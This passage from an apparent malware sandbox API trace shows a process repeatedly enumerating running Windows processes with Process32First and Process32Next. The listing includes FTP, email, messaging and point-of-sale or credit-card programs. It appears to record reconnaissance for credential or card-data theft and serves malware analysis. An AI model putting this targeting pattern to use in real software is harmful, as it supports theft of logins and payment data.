szExeFile="if-return.exe")) returned 1 [0134.311] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0134.313] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0134.315] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0134.316] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0134.318] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0134.320] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0134.322] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0134.324] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0134.327] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0134.329] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0134.331] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0134.333] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0134.337] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0134.341] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0134.345] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0134.349] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0134.351] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0134.354] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0134.355] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0134.358] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0134.359] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0134.361] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0134.363] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0134.365] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0134.367] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0134.369] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0134.371] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0134.375] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0134.382] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0134.385] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0134.387] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0134.390] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0134.398] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0134.400] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0134.415] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0134.417] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0134.419] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0134.421] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0134.423] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0134.425] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0134.427] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0134.429] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0134.430] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0134.432] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0134.434] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0134.436] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0134.437] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0134.439] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0134.441] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0134.443] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0134.445] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0134.447] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0134.449] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0134.450] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0134.452] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0134.456] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0134.458] CloseHandle (hObject=0x1f8c) returned 1 [0134.458] Sleep (dwMilliseconds=0x64) [0134.558] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e10 [0134.571] Process32First (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0134.574] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0134.575] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0134.577] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0134.579] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0134.580] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0134.582] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0134.584] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0134.586] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0134.587] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.589] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.592] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0134.594] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.596] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.598] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.600] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.602] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.604] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.607] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.609] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0134.611] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0134.614] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0134.617] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.711] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0134.714] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0134.718] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0134.723] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, 